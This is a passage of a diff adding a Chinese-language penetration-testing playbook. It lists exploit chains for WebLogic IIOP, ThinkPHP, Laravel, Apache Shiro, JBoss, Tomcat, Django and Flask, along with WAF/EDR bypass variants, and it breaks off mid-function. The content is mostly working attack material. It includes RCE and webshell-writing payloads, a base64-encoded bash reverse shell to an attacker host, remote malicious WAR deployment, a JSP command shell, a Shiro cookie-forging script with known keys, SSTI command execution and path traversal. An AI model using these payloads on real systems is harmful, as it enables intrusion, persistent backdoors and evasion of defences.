**1. Gadget链选择**
|
|
1278
|
+
_Gadget链选择_
|
|
1279
|
+
```
|
|
1280
|
+
# 不同Gadget链
|
|
1281
|
+
CommonsCollections1
|
|
1282
|
+
CommonsCollections2
|
|
1283
|
+
CommonsCollections3
|
|
1284
|
+
CommonsCollections4
|
|
1285
|
+
CommonsBeanutils1
|
|
1286
|
+
Jdk7u21
|
|
1287
|
+
Jre8u20
|
|
1288
|
+
|
|
1289
|
+
# 根据目标环境选择合适的链
|
|
1290
|
+
```
|
|
1291
|
+
|
|
1292
|
+
---
|
|
1293
|
+
|
|
1294
|
+
### WebLogic IIOP协议攻击 `weblogic-iiop`
|
|
1295
|
+
WebLogic IIOP协议反序列化漏洞
|
|
1296
|
+
子类:**WebLogic IIOP** · tags: `weblogic` `iiop` `deserialization` `corba`
|
|
1297
|
+
|
|
1298
|
+
**前置条件:** WebLogic开放IIOP端口;存在漏洞版本
|
|
1299
|
+
|
|
1300
|
+
**攻击链:**
|
|
1301
|
+
|
|
1302
|
+
**1. 1. 探测IIOP服务**
|
|
1303
|
+
_探测IIOP服务_
|
|
1304
|
+
```
|
|
1305
|
+
# 扫描IIOP端口 nmap -sV -p 7001 target
|
|
1306
|
+
|
|
1307
|
+
# IIOP使用相同端口
|
|
1308
|
+
# 检测是否支持IIOP
|
|
1309
|
+
# 使用工具检测
|
|
1310
|
+
```
|
|
1311
|
+
|
|
1312
|
+
**2. 2. CVE-2020-2551**
|
|
1313
|
+
_CVE-2020-2551利用_
|
|
1314
|
+
```
|
|
1315
|
+
# 使用weblogic_CVE_2020_2551
|
|
1316
|
+
git clone https://github.com/Y4er/CVE-2020-2551
|
|
1317
|
+
cd CVE-2020-2551
|
|
1318
|
+
|
|
1319
|
+
# 编译并运行
|
|
1320
|
+
mvn package
|
|
1321
|
+
java -jar target/CVE-2020-2551-1.0-SNAPSHOT.jar target 7001
|
|
1322
|
+
|
|
1323
|
+
# 使用JRMP监听
|
|
1324
|
+
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 8888 CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci9QMDBBIA==}|{base64,-d}|{bash,-i}"
|
|
1325
|
+
```
|
|
1326
|
+
|
|
1327
|
+
**3. 3. 构造IIOP请求**
|
|
1328
|
+
_构造IIOP请求_
|
|
1329
|
+
```
|
|
1330
|
+
# 使用Python构造
|
|
1331
|
+
# 需要安装相关库
|
|
1332
|
+
pip install idna
|
|
1333
|
+
|
|
1334
|
+
# 使用JNDI注入
|
|
1335
|
+
# 构造恶意JNDI引用
|
|
1336
|
+
String jndiURL = "iiop://attacker:1099/Exploit";
|
|
1337
|
+
Context ctx = new InitialContext();
|
|
1338
|
+
ctx.lookup(jndiURL);
|
|
1339
|
+
|
|
1340
|
+
# 使用JNDIExploit工具
|
|
1341
|
+
java -jar JNDIExploit.jar -i attacker_ip
|
|
1342
|
+
```
|
|
1343
|
+
|
|
1344
|
+
**WAF/EDR 绕过变体:**
|
|
1345
|
+
|
|
1346
|
+
**1. 协议切换**
|
|
1347
|
+
_协议切换绕过_
|
|
1348
|
+
```
|
|
1349
|
+
# 在T3和IIOP之间切换
|
|
1350
|
+
# 如果T3被禁用,尝试IIOP
|
|
1351
|
+
# 使用不同协议绕过检测
|
|
1352
|
+
```
|
|
1353
|
+
|
|
1354
|
+
---
|
|
1355
|
+
|
|
1356
|
+
### ThinkPHP远程代码执行 `thinkphp-rce`
|
|
1357
|
+
ThinkPHP框架RCE漏洞
|
|
1358
|
+
子类:**ThinkPHP** · tags: `thinkphp` `rce` `php` `framework`
|
|
1359
|
+
|
|
1360
|
+
**前置条件:** 使用ThinkPHP框架;存在漏洞版本
|
|
1361
|
+
|
|
1362
|
+
**攻击链:**
|
|
1363
|
+
|
|
1364
|
+
**1. 1. ThinkPHP 5.x RCE**
|
|
1365
|
+
_ThinkPHP 5.0.x RCE_
|
|
1366
|
+
```
|
|
1367
|
+
# ThinkPHP 5.0.x RCE
|
|
1368
|
+
# 方法调用
|
|
1369
|
+
?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
|
|
1370
|
+
|
|
1371
|
+
# 写入WebShell
|
|
1372
|
+
?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php eval($_POST[cmd]);?>
|
|
1373
|
+
|
|
1374
|
+
# 执行系统命令
|
|
1375
|
+
?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
|
|
1376
|
+
```
|
|
1377
|
+
|
|
1378
|
+
**2. 2. ThinkPHP 5.1.x RCE**
|
|
1379
|
+
_ThinkPHP 5.1.x RCE_
|
|
1380
|
+
```
|
|
1381
|
+
# ThinkPHP 5.1.x RCE
|
|
1382
|
+
?s=index/think\Request/input&filter[]=system&data=id
|
|
1383
|
+
?s=index/think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
|
|
1384
|
+
?s=index/think\Template/driver/file/write&cacheFile=shell.php&content=%3C%3Fphp%20eval($_POST[cmd]);%3F%3E
|
|
1385
|
+
```
|
|
1386
|
+
|
|
1387
|
+
**3. 3. ThinkPHP 5.0.23 RCE**
|
|
1388
|
+
_ThinkPHP 5.0.23 RCE_
|
|
1389
|
+
```
|
|
1390
|
+
# POST方法
|
|
1391
|
+
POST /index.php?s=captcha HTTP/1.1
|
|
1392
|
+
Content-Type: application/x-www-form-urlencoded
|
|
1393
|
+
|
|
1394
|
+
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
|
|
1395
|
+
|
|
1396
|
+
# 写入Shell
|
|
1397
|
+
_method=__construct&filter[]=file_put_contents&method=get&server[REQUEST_METHOD]=shell.php&get[]=<?php eval($_POST[cmd]);?>
|
|
1398
|
+
```
|
|
1399
|
+
|
|
1400
|
+
**4. 4. 信息收集**
|
|
1401
|
+
_信息收集_
|
|
1402
|
+
```
|
|
1403
|
+
# 获取ThinkPHP版本
|
|
1404
|
+
# 查看响应头
|
|
1405
|
+
X-Powered-By: ThinkPHP 5.0.x
|
|
1406
|
+
|
|
1407
|
+
# 访问特定页面
|
|
1408
|
+
/index.php?s=/index/\think\app/init
|
|
1409
|
+
/index.php?s=/index/\think\Request/input
|
|
1410
|
+
|
|
1411
|
+
# 错误信息泄露
|
|
1412
|
+
# 触发错误查看版本
|
|
1413
|
+
```
|
|
1414
|
+
|
|
1415
|
+
**WAF/EDR 绕过变体:**
|
|
1416
|
+
|
|
1417
|
+
**1. 编码绕过**
|
|
1418
|
+
_编码绕过_
|
|
1419
|
+
```
|
|
1420
|
+
# URL编码
|
|
1421
|
+
?s=%2fIndex%2f%5cthink%5capp%2finvokefunction
|
|
1422
|
+
|
|
1423
|
+
# 大小写混合
|
|
1424
|
+
?s=/Index/\Think\App/invokefunction
|
|
1425
|
+
|
|
1426
|
+
# 双重编码
|
|
1427
|
+
?s=%252fIndex%252f%255cthink%255capp%252finvokefunction
|
|
1428
|
+
```
|
|
1429
|
+
|
|
1430
|
+
**2. 路径变体**
|
|
1431
|
+
_路径变体绕过_
|
|
1432
|
+
```
|
|
1433
|
+
# 不同路径格式
|
|
1434
|
+
?s=/index/think\app/invokefunction
|
|
1435
|
+
?s=index/think/app/invokefunction
|
|
1436
|
+
?s=/index/\think\App/invokefunction
|
|
1437
|
+
|
|
1438
|
+
# 使用不同入口点
|
|
1439
|
+
/index.php?s=...
|
|
1440
|
+
/?s=...
|
|
1441
|
+
/public/index.php?s=...
|
|
1442
|
+
```
|
|
1443
|
+
|
|
1444
|
+
---
|
|
1445
|
+
|
|
1446
|
+
### Laravel远程代码执行 `laravel-rce`
|
|
1447
|
+
Laravel框架RCE漏洞
|
|
1448
|
+
子类:**Laravel** · tags: `laravel` `rce` `php` `framework`
|
|
1449
|
+
|
|
1450
|
+
**前置条件:** 使用Laravel框架;存在漏洞版本或配置
|
|
1451
|
+
|
|
1452
|
+
**攻击链:**
|
|
1453
|
+
|
|
1454
|
+
**1. 1. CVE-2021-3129**
|
|
1455
|
+
_CVE-2021-3129 Ignition RCE_
|
|
1456
|
+
```
|
|
1457
|
+
# Laravel Ignition RCE
|
|
1458
|
+
# 使用工具
|
|
1459
|
+
git clone https://github.com/zhzyker/CVE-2021-3129
|
|
1460
|
+
cd CVE-2021-3129
|
|
1461
|
+
python3 exp.py -t http://target
|
|
1462
|
+
|
|
1463
|
+
# 手动利用
|
|
1464
|
+
# 需要发送Phar反序列化payload
|
|
1465
|
+
# 使用phpggc生成
|
|
1466
|
+
phpggc Laravel/RCE1 system id > payload
|
|
1467
|
+
|
|
1468
|
+
# 发送请求
|
|
1469
|
+
POST /_ignition/health-check HTTP/1.1
|
|
1470
|
+
Content-Type: application/json
|
|
1471
|
+
|
|
1472
|
+
{"solution":"...","parameters":{"viewFile":"phar://..."}}
|
|
1473
|
+
```
|
|
1474
|
+
|
|
1475
|
+
**2. 2. 调试模式信息泄露**
|
|
1476
|
+
_调试模式信息泄露_
|
|
1477
|
+
```
|
|
1478
|
+
# APP_DEBUG=true信息泄露
|
|
1479
|
+
# 访问触发错误的页面
|
|
1480
|
+
# 查看堆栈跟踪中的敏感信息
|
|
1481
|
+
|
|
1482
|
+
# 可能泄露:
|
|
1483
|
+
- 数据库凭证
|
|
1484
|
+
- API密钥
|
|
1485
|
+
- 环境变量
|
|
1486
|
+
- 服务器路径
|
|
1487
|
+
- 源代码片段
|
|
1488
|
+
```
|
|
1489
|
+
|
|
1490
|
+
**3. 3. .env文件泄露**
|
|
1491
|
+
_.env文件泄露_
|
|
1492
|
+
```
|
|
1493
|
+
# 尝试访问.env文件
|
|
1494
|
+
GET /.env HTTP/1.1
|
|
1495
|
+
GET /../.env HTTP/1.1
|
|
1496
|
+
GET /public/.env HTTP/1.1
|
|
1497
|
+
|
|
1498
|
+
# .env文件包含:
|
|
1499
|
+
APP_KEY=base64:...
|
|
1500
|
+
DB_HOST=localhost
|
|
1501
|
+
DB_DATABASE=laravel
|
|
1502
|
+
DB_USERNAME=root
|
|
1503
|
+
DB_PASSWORD=password
|
|
1504
|
+
```
|
|
1505
|
+
|
|
1506
|
+
**4. 4. APP_KEY利用**
|
|
1507
|
+
_APP_KEY利用_
|
|
1508
|
+
```
|
|
1509
|
+
# 获取APP_KEY后
|
|
1510
|
+
# 可以伪造Cookie
|
|
1511
|
+
# 解密加密数据
|
|
1512
|
+
|
|
1513
|
+
# 使用工具解密
|
|
1514
|
+
php artisan decrypt <encrypted_value>
|
|
1515
|
+
|
|
1516
|
+
# 伪造管理员Cookie
|
|
1517
|
+
# 需要了解应用加密方式
|
|
1518
|
+
```
|
|
1519
|
+
|
|
1520
|
+
**WAF/EDR 绕过变体:**
|
|
1521
|
+
|
|
1522
|
+
**1. 路径绕过**
|
|
1523
|
+
_路径绕过_
|
|
1524
|
+
```
|
|
1525
|
+
# 尝试不同路径
|
|
1526
|
+
/.env
|
|
1527
|
+
/.env.example
|
|
1528
|
+
/.env.local
|
|
1529
|
+
/.env.production
|
|
1530
|
+
/../.env
|
|
1531
|
+
/..%2f.env
|
|
1532
|
+
/..%252f.env
|
|
1533
|
+
```
|
|
1534
|
+
|
|
1535
|
+
---
|
|
1536
|
+
|
|
1537
|
+
### Apache Shiro反序列化 `shiro-deserialize`
|
|
1538
|
+
Apache Shiro RememberMe反序列化漏洞
|
|
1539
|
+
子类:**Apache Shiro** · tags: `shiro` `deserialization` `java` `rememberme`
|
|
1540
|
+
|
|
1541
|
+
**前置条件:** 使用Apache Shiro;存在漏洞版本
|
|
1542
|
+
|
|
1543
|
+
**攻击链:**
|
|
1544
|
+
|
|
1545
|
+
**1. 1. 检测Shiro**
|
|
1546
|
+
_检测Shiro框架_
|
|
1547
|
+
```
|
|
1548
|
+
# 检测rememberMe Cookie
|
|
1549
|
+
# 响应中有rememberMe=deleteMe表示使用Shiro
|
|
1550
|
+
|
|
1551
|
+
# 使用工具检测
|
|
1552
|
+
git clone https://github.com/sv3nbeast/ShiroScan
|
|
1553
|
+
cd ShiroScan
|
|
1554
|
+
java -jar shiro_scan.jar -t http://target
|
|
1555
|
+
|
|
1556
|
+
# 或使用Burp插件
|
|
1557
|
+
# ShiroScan Burp插件
|
|
1558
|
+
```
|
|
1559
|
+
|
|
1560
|
+
**2. 2. 使用ysoserial生成payload**
|
|
1561
|
+
_生成恶意payload_
|
|
1562
|
+
```
|
|
1563
|
+
# 生成恶意序列化对象
|
|
1564
|
+
java -jar ysoserial.jar CommonsCollections2 "id" > payload.ser
|
|
1565
|
+
|
|
1566
|
+
# 使用Shiro内置密钥加密
|
|
1567
|
+
# 默认密钥: kPH+bIxk5D2deZiIxcaaaA==
|
|
1568
|
+
|
|
1569
|
+
# Python加密脚本
|
|
1570
|
+
import base64
|
|
1571
|
+
from Crypto.Cipher import AES
|
|
1572
|
+
|
|
1573
|
+
def encode_rememberme(command):
|
|
1574
|
+
# 生成payload
|
|
1575
|
+
payload = os.popen(f"java -jar ysoserial.jar CommonsCollections2 \"{command}\"").read()
|
|
1576
|
+
|
|
1577
|
+
# AES加密
|
|
1578
|
+
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
|
|
1579
|
+
cipher = AES.new(key, AES.MODE_CBC, iv=key)
|
|
1580
|
+
|
|
1581
|
+
# PKCS5Padding
|
|
1582
|
+
pad = 16 - len(payload) % 16
|
|
1583
|
+
payload += bytes([pad]) * pad
|
|
1584
|
+
|
|
1585
|
+
encrypted = cipher.encrypt(payload)
|
|
1586
|
+
return base64.b64encode(encrypted).decode()
|
|
1587
|
+
```
|
|
1588
|
+
|
|
1589
|
+
**3. 3. 发送恶意请求**
|
|
1590
|
+
_发送恶意请求_
|
|
1591
|
+
```
|
|
1592
|
+
# 使用curl
|
|
1593
|
+
curl -H "Cookie: rememberMe=<ENCODED_PAYLOAD>" http://target
|
|
1594
|
+
|
|
1595
|
+
# 使用工具
|
|
1596
|
+
git clone https://github.com/insightglacier/Shiro_exploit
|
|
1597
|
+
cd Shiro_exploit
|
|
1598
|
+
python3 shiro_exploit.py -t http://target -c "id"
|
|
1599
|
+
|
|
1600
|
+
# 使用ShiroAttack
|
|
1601
|
+
git clone https://github.com/acgbfull/ShiroAttack
|
|
1602
|
+
cd ShiroAttack
|
|
1603
|
+
java -jar ShiroAttack.jar
|
|
1604
|
+
```
|
|
1605
|
+
|
|
1606
|
+
**4. 4. 常见密钥列表**
|
|
1607
|
+
_常见密钥列表_
|
|
1608
|
+
```
|
|
1609
|
+
# 常见Shiro密钥
|
|
1610
|
+
kPH+bIxk5D2deZiIxcaaaA==
|
|
1611
|
+
4AvVhmFLUs0KTA3Kprsdag==
|
|
1612
|
+
Z3VucwAAAAAAAAAAAAAAAA==
|
|
1613
|
+
fCq+/xW488hMTCD+cmJ3aQ==
|
|
1614
|
+
1QWLxg+NYmxraMoxAXu/Iw==
|
|
1615
|
+
25BsmdYwjnfcWmnhAciDDg==
|
|
1616
|
+
2AvVhdsgUs0F8SZSnWd+Zw==
|
|
1617
|
+
6ZmI6I2j5Y+R54aHjOqYzg==
|
|
1618
|
+
|
|
1619
|
+
# 尝试不同密钥
|
|
1620
|
+
# 或爆破密钥
|
|
1621
|
+
```
|
|
1622
|
+
|
|
1623
|
+
**WAF/EDR 绕过变体:**
|
|
1624
|
+
|
|
1625
|
+
**1. Gadget链选择**
|
|
1626
|
+
_Gadget链选择_
|
|
1627
|
+
```
|
|
1628
|
+
# 不同Gadget链
|
|
1629
|
+
CommonsCollections2
|
|
1630
|
+
CommonsBeanutils1
|
|
1631
|
+
Jdk7u21
|
|
1632
|
+
JRMPClient
|
|
1633
|
+
|
|
1634
|
+
# 根据目标环境选择
|
|
1635
|
+
# 某些链可能被过滤
|
|
1636
|
+
```
|
|
1637
|
+
|
|
1638
|
+
**2. 密钥爆破**
|
|
1639
|
+
_密钥爆破_
|
|
1640
|
+
```
|
|
1641
|
+
# 使用工具爆破密钥
|
|
1642
|
+
git clone https://github.com/insightglacier/Shiro_exploit
|
|
1643
|
+
python3 shiro_exploit.py -t http://target -f keys.txt
|
|
1644
|
+
|
|
1645
|
+
# 或使用ShiroScan
|
|
1646
|
+
java -jar shiro_scan.jar -t http://target -f keys.txt
|
|
1647
|
+
```
|
|
1648
|
+
|
|
1649
|
+
---
|
|
1650
|
+
|
|
1651
|
+
### JBoss漏洞利用 `jboss-vuln`
|
|
1652
|
+
JBoss应用服务器漏洞
|
|
1653
|
+
子类:**JBoss** · tags: `jboss` `rce` `java` `deserialization`
|
|
1654
|
+
|
|
1655
|
+
**前置条件:** 使用JBoss服务器;存在漏洞版本
|
|
1656
|
+
|
|
1657
|
+
**攻击链:**
|
|
1658
|
+
|
|
1659
|
+
**1. 1. JMXInvokerServlet反序列化**
|
|
1660
|
+
_JMXInvokerServlet反序列化_
|
|
1661
|
+
```
|
|
1662
|
+
# CVE-2015-7501
|
|
1663
|
+
# 发送恶意序列化对象
|
|
1664
|
+
POST /invoker/JMXInvokerServlet HTTP/1.1
|
|
1665
|
+
Content-Type: application/x-java-serialized-object
|
|
1666
|
+
|
|
1667
|
+
# 使用ysoserial生成payload
|
|
1668
|
+
java -jar ysoserial.jar CommonsCollections1 "id" > payload.ser
|
|
1669
|
+
|
|
1670
|
+
# 发送
|
|
1671
|
+
curl -X POST -H "Content-Type: application/x-java-serialized-object" --data-binary @payload.ser http://target/invoker/JMXInvokerServlet
|
|
1672
|
+
```
|
|
1673
|
+
|
|
1674
|
+
**2. 2. JMX Console部署War包**
|
|
1675
|
+
_JMX Console部署War包_
|
|
1676
|
+
```
|
|
1677
|
+
# 访问JMX Console
|
|
1678
|
+
http://target/jmx-console/
|
|
1679
|
+
|
|
1680
|
+
# 查找deploy方法
|
|
1681
|
+
# 找到 jboss.system:service=MainDeployer
|
|
1682
|
+
|
|
1683
|
+
# 部署远程War包
|
|
1684
|
+
# 使用deploy方法,URL参数指向恶意War
|
|
1685
|
+
http://target/jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.system:service=MainDeployer&methodName=deploy&argType=java.lang.String&arg=http://attacker/shell.war
|
|
1686
|
+
|
|
1687
|
+
# 访问部署的Shell
|
|
1688
|
+
http://target/shell/cmd.jsp?cmd=id
|
|
1689
|
+
```
|
|
1690
|
+
|
|
1691
|
+
**3. 3. BSHDeployer部署**
|
|
1692
|
+
_BSHDeployer部署_
|
|
1693
|
+
```
|
|
1694
|
+
# 使用BeanShell部署
|
|
1695
|
+
# 找到 jboss.scripts:service=BSHDeployer
|
|
1696
|
+
|
|
1697
|
+
# 执行BeanShell脚本
|
|
1698
|
+
# 通过createScriptDeployment方法
|
|
1699
|
+
|
|
1700
|
+
# 构造恶意脚本
|
|
1701
|
+
import java.io.*;
|
|
1702
|
+
Runtime rt = Runtime.getRuntime();
|
|
1703
|
+
Process p = rt.exec("id");
|
|
1704
|
+
InputStream is = p.getInputStream();
|
|
1705
|
+
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
|
|
1706
|
+
String line;
|
|
1707
|
+
while((line = reader.readLine()) != null) {
|
|
1708
|
+
print(line);
|
|
1709
|
+
}
|
|
1710
|
+
```
|
|
1711
|
+
|
|
1712
|
+
**4. 4. 使用工具**
|
|
1713
|
+
_使用JexBoss工具_
|
|
1714
|
+
```
|
|
1715
|
+
# JexBoss
|
|
1716
|
+
git clone https://github.com/joaomatosf/jexboss
|
|
1717
|
+
cd jexboss
|
|
1718
|
+
python jexboss.py -host http://target
|
|
1719
|
+
|
|
1720
|
+
# 自动化利用
|
|
1721
|
+
python jexboss.py -mode file-scan -file hosts.txt
|
|
1722
|
+
```
|
|
1723
|
+
|
|
1724
|
+
**WAF/EDR 绕过变体:**
|
|
1725
|
+
|
|
1726
|
+
**1. 端点变体**
|
|
1727
|
+
_端点变体_
|
|
1728
|
+
```
|
|
1729
|
+
# 不同端点
|
|
1730
|
+
/invoker/JMXInvokerServlet
|
|
1731
|
+
/invoker/EJBInvokerServlet
|
|
1732
|
+
/invoker/readonly/JMXInvokerServlet
|
|
1733
|
+
/jmx-console/
|
|
1734
|
+
/web-console/
|
|
1735
|
+
```
|
|
1736
|
+
|
|
1737
|
+
---
|
|
1738
|
+
|
|
1739
|
+
### Apache Tomcat漏洞 `tomcat-vuln`
|
|
1740
|
+
Apache Tomcat服务器漏洞利用
|
|
1741
|
+
子类:**Tomcat** · tags: `tomcat` `rce` `java` `manager`
|
|
1742
|
+
|
|
1743
|
+
**前置条件:** 使用Tomcat服务器;存在漏洞版本或配置
|
|
1744
|
+
|
|
1745
|
+
**攻击链:**
|
|
1746
|
+
|
|
1747
|
+
**1. 1. Manager App弱口令**
|
|
1748
|
+
_Manager App弱口令_
|
|
1749
|
+
```
|
|
1750
|
+
# 访问Manager App
|
|
1751
|
+
http://target/manager/html
|
|
1752
|
+
|
|
1753
|
+
# 常见弱口令
|
|
1754
|
+
tomcat:tomcat
|
|
1755
|
+
admin:admin
|
|
1756
|
+
admin:tomcat
|
|
1757
|
+
|
|
1758
|
+
# 使用工具爆破
|
|
1759
|
+
hydra -l tomcat -P passwords.txt target http-get /manager/html
|
|
1760
|
+
```
|
|
1761
|
+
|
|
1762
|
+
**2. 2. 部署War包**
|
|
1763
|
+
_部署War包_
|
|
1764
|
+
```
|
|
1765
|
+
# 生成恶意War包
|
|
1766
|
+
# cmd.jsp
|
|
1767
|
+
<%@ page import="java.util.*,java.io.*"%>
|
|
1768
|
+
<% String cmd = request.getParameter("cmd");
|
|
1769
|
+
Process p = Runtime.getRuntime().exec(cmd);
|
|
1770
|
+
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
|
|
1771
|
+
String line;
|
|
1772
|
+
while((line = br.readLine()) != null) { out.println(line); }
|
|
1773
|
+
%>
|
|
1774
|
+
|
|
1775
|
+
# 打包
|
|
1776
|
+
jar cvf shell.war cmd.jsp
|
|
1777
|
+
|
|
1778
|
+
# 通过Manager上传
|
|
1779
|
+
curl -u tomcat:tomcat -T shell.war "http://target/manager/deploy?path=/shell"
|
|
1780
|
+
|
|
1781
|
+
# 访问Shell
|
|
1782
|
+
http://target/shell/cmd.jsp?cmd=id
|
|
1783
|
+
```
|
|
1784
|
+
|
|
1785
|
+
**3. 3. CVE-2020-1938 Ghostcat**
|
|
1786
|
+
_CVE-2020-1938 Ghostcat_
|
|
1787
|
+
```
|
|
1788
|
+
# AJP文件读取/包含
|
|
1789
|
+
# 使用工具
|
|
1790
|
+
git clone https://github.com/chaitin/xray
|
|
1791
|
+
cd xray
|
|
1792
|
+
./xray_linux_amd64 webscan --plugins phantomjs --url http://target
|
|
1793
|
+
|
|
1794
|
+
# 或使用专用工具
|
|
1795
|
+
git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
|
|
1796
|
+
cd CNVD-2020-10487-Tomcat-Ajp-lfi
|
|
1797
|
+
python CNVD-2020-10487-Tomcat-Ajp-lfi.py -p 8009 -f /WEB-INF/web.xml target
|
|
1798
|
+
```
|
|
1799
|
+
|
|
1800
|
+
**4. 4. PUT方法任意文件写入** _[windows]_
|
|
1801
|
+
_PUT方法任意文件写入_
|
|
1802
|
+
```
|
|
1803
|
+
# CVE-2017-12615
|
|
1804
|
+
# Windows下PUT方法写文件
|
|
1805
|
+
PUT /shell.jsp%20 HTTP/1.1
|
|
1806
|
+
Host: target
|
|
1807
|
+
Content-Length: 24
|
|
1808
|
+
|
|
1809
|
+
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
|
|
1810
|
+
|
|
1811
|
+
# 或使用::$DATA
|
|
1812
|
+
PUT /shell.jsp::$DATA HTTP/1.1
|
|
1813
|
+
|
|
1814
|
+
# 或使用/
|
|
1815
|
+
PUT /shell.jsp/ HTTP/1.1
|
|
1816
|
+
```
|
|
1817
|
+
|
|
1818
|
+
**WAF/EDR 绕过变体:**
|
|
1819
|
+
|
|
1820
|
+
**1. 文件名绕过**
|
|
1821
|
+
_文件名绕过_
|
|
1822
|
+
```
|
|
1823
|
+
# 不同文件名变体
|
|
1824
|
+
shell.jsp%20
|
|
1825
|
+
shell.jsp::$DATA
|
|
1826
|
+
shell.jsp/
|
|
1827
|
+
shell.jsp%00
|
|
1828
|
+
shell.jSp
|
|
1829
|
+
shell.jsP
|
|
1830
|
+
```
|
|
1831
|
+
|
|
1832
|
+
---
|
|
1833
|
+
|
|
1834
|
+
### Django框架漏洞 `django-vuln`
|
|
1835
|
+
Django框架安全漏洞
|
|
1836
|
+
子类:**Django** · tags: `django` `python` `framework` `sql`
|
|
1837
|
+
|
|
1838
|
+
**前置条件:** 使用Django框架;存在漏洞版本
|
|
1839
|
+
|
|
1840
|
+
**攻击链:**
|
|
1841
|
+
|
|
1842
|
+
**1. 1. SQL注入**
|
|
1843
|
+
_CVE-2020-7471 SQL注入_
|
|
1844
|
+
```
|
|
1845
|
+
# CVE-2020-7471
|
|
1846
|
+
# 通过PostgreSQL输入验证绕过
|
|
1847
|
+
# 使用JSONField/HStoreField
|
|
1848
|
+
|
|
1849
|
+
# 构造恶意查询
|
|
1850
|
+
Model.objects.filter(data__contains={"key": "value; SELECT SLEEP(5);--"})
|
|
1851
|
+
|
|
1852
|
+
# 或使用ArrayField
|
|
1853
|
+
Model.objects.filter(tags__contains=["tag'); SELECT SLEEP(5);--"])
|
|
1854
|
+
|
|
1855
|
+
# 触发SQL注入
|
|
1856
|
+
```
|
|
1857
|
+
|
|
1858
|
+
**2. 2. 调试模式信息泄露**
|
|
1859
|
+
_调试模式信息泄露_
|
|
1860
|
+
```
|
|
1861
|
+
# DEBUG=True时
|
|
1862
|
+
# 错误页面泄露:
|
|
1863
|
+
- 源代码
|
|
1864
|
+
- 环境变量
|
|
1865
|
+
- 数据库配置
|
|
1866
|
+
- SECRET_KEY
|
|
1867
|
+
- 服务器路径
|
|
1868
|
+
|
|
1869
|
+
# 访问不存在的页面触发错误
|
|
1870
|
+
http://target/nonexistent
|
|
1871
|
+
|
|
1872
|
+
# 或触发异常
|
|
1873
|
+
```
|
|
1874
|
+
|
|
1875
|
+
**3. 3. SECRET_KEY利用**
|
|
1876
|
+
_SECRET_KEY利用_
|
|
1877
|
+
```
|
|
1878
|
+
# 获取SECRET_KEY后
|
|
1879
|
+
# 可以:
|
|
1880
|
+
# 1. 签名伪造Session
|
|
1881
|
+
# 2. 签名伪造CSRF Token
|
|
1882
|
+
# 3. 密码重置Token
|
|
1883
|
+
|
|
1884
|
+
# 使用django-session-cleanup工具
|
|
1885
|
+
# 或手动解签
|
|
1886
|
+
|
|
1887
|
+
import django.core.signing as signing
|
|
1888
|
+
|
|
1889
|
+
# 解签Session
|
|
1890
|
+
signing.loads(session_value, key=SECRET_KEY)
|
|
1891
|
+
|
|
1892
|
+
# 签名伪造Session
|
|
1893
|
+
fake_session = signing.dumps({"user_id": 1}, key=SECRET_KEY)
|
|
1894
|
+
```
|
|
1895
|
+
|
|
1896
|
+
**4. 4. 路径遍历**
|
|
1897
|
+
_路径遍历漏洞_
|
|
1898
|
+
```
|
|
1899
|
+
# CVE-2021-28658
|
|
1900
|
+
# Django静态文件路径遍历
|
|
1901
|
+
GET /static/../../../../etc/passwd
|
|
1902
|
+
|
|
1903
|
+
# 使用工具检测
|
|
1904
|
+
curl http://target/static/../../../../etc/passwd
|
|
1905
|
+
```
|
|
1906
|
+
|
|
1907
|
+
**WAF/EDR 绕过变体:**
|
|
1908
|
+
|
|
1909
|
+
**1. 编码绕过**
|
|
1910
|
+
_编码绕过_
|
|
1911
|
+
```
|
|
1912
|
+
# URL编码
|
|
1913
|
+
/static/%2e%2e/%2e%2e/etc/passwd
|
|
1914
|
+
|
|
1915
|
+
# 双重编码
|
|
1916
|
+
/static/%252e%252e/%252e%252e/etc/passwd
|
|
1917
|
+
|
|
1918
|
+
# Unicode编码
|
|
1919
|
+
/static/..%c0%af..%c0%af/etc/passwd
|
|
1920
|
+
```
|
|
1921
|
+
|
|
1922
|
+
---
|
|
1923
|
+
|
|
1924
|
+
### Flask框架漏洞 `flask-vuln`
|
|
1925
|
+
Flask框架安全漏洞
|
|
1926
|
+
子类:**Flask** · tags: `flask` `python` `framework` `ssti`
|
|
1927
|
+
|
|
1928
|
+
**前置条件:** 使用Flask框架;存在漏洞配置
|
|
1929
|
+
|
|
1930
|
+
**攻击链:**
|
|
1931
|
+
|
|
1932
|
+
**1. 1. SSTI模板注入**
|
|
1933
|
+
_SSTI模板注入_
|
|
1934
|
+
```
|
|
1935
|
+
# Jinja2模板注入探测
|
|
1936
|
+
{{7*7}}
|
|
1937
|
+
${7*7}
|
|
1938
|
+
<%= 7*7 %>
|
|
1939
|
+
|
|
1940
|
+
# 如果返回49则存在SSTI
|
|
1941
|
+
|
|
1942
|
+
# 获取配置
|
|
1943
|
+
{{config}}
|
|
1944
|
+
{{self.__class__}}
|
|
1945
|
+
|
|
1946
|
+
# 命令执行
|
|
1947
|
+
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
|
|
1948
|
+
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
|
|
1949
|
+
```
|
|
1950
|
+
|
|
1951
|
+
**2. 2. SECRET_KEY利用**
|
|
1952
|
+
_SECRET_KEY利用_
|
|
1953
|
+
```
|
|
1954
|
+
# Flask Session签名
|
|
1955
|
+
# 获取SECRET_KEY后可以伪造Session
|
|
1956
|
+
|
|
1957
|
+
# 解签Session
|
|
1958
|
+
from flask.sessions import SecureCookieSessionInterface
|
|
1959
|
+
from itsdangerous import URLSafeTimedSerializer
|
|
1960
|
+
|
|
1961
|
+
# 解签
|
|
1962
|
+
def decode_session(cookie_value, secret_key):
|
|
1963
|
+
